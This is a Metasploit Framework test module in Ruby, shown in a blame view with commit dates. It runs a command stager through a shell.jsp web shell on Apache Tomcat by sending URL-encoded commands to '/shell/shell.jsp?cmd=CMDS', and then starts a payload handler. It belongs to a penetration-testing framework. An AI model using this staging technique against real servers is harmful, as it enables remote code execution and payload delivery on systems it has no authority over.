Files
metasploit-gs/modules/exploits/test/cmdweb.rb
T

86 lines
1.6 KiB
Ruby
Raw Normal View History

2010-02-16 16:38:19 +00:00
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
# =( need more targets and perhaps more OS specific return values OS specific would be preferred
include Msf::Exploit::Remote::HttpClient
2010-05-26 22:39:56 +00:00
include Msf::Exploit::CmdStagerVBS
2010-02-16 16:38:19 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Command Stager Web Test',
'Description' => %q{
This module tests the command stager mixin against a shell.jsp application installed
on an Apache Tomcat server.
},
'Author' => 'bannedit',
'Version' => '$Revision$',
'References' =>
[
],
'DefaultOptions' =>
{
},
'Payload' =>
{
},
'Platform' => 'win',
'Privileged' => true,
'Targets' =>
[
# need more but this will likely cover most cases
[ 'Automatic Targeting',
{
'auto' => true
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 03 2010'))
register_options(
[
Opt::RPORT(8080),
], self.class)
end
2010-02-19 05:15:03 +00:00
def autofilter
false
end
2010-02-16 16:38:19 +00:00
2010-03-05 00:29:44 +00:00
2010-05-26 22:39:56 +00:00
# This is method required for the CmdStager to work...
def execute_command(cmd, opts)
uri = opts[:uri]
http_hash = {
'uri' => uri.gsub(/CMDS/, Rex::Text.uri_encode(cmd))
}
resp = send_request_raw(http_hash, 5)
2010-02-16 16:38:19 +00:00
end
2010-05-26 22:39:56 +00:00
def exploit
2010-03-04 21:00:58 +00:00
2010-05-26 22:39:56 +00:00
opts = {
:delay => 0.5,
:uri => "/shell/shell.jsp?cmd=CMDS"
}
2010-02-19 05:15:03 +00:00
2010-05-26 22:39:56 +00:00
execute_cmdstager(opts)
2010-03-05 00:29:44 +00:00
2010-05-26 22:39:56 +00:00
handler
2010-03-04 21:00:58 +00:00
end
end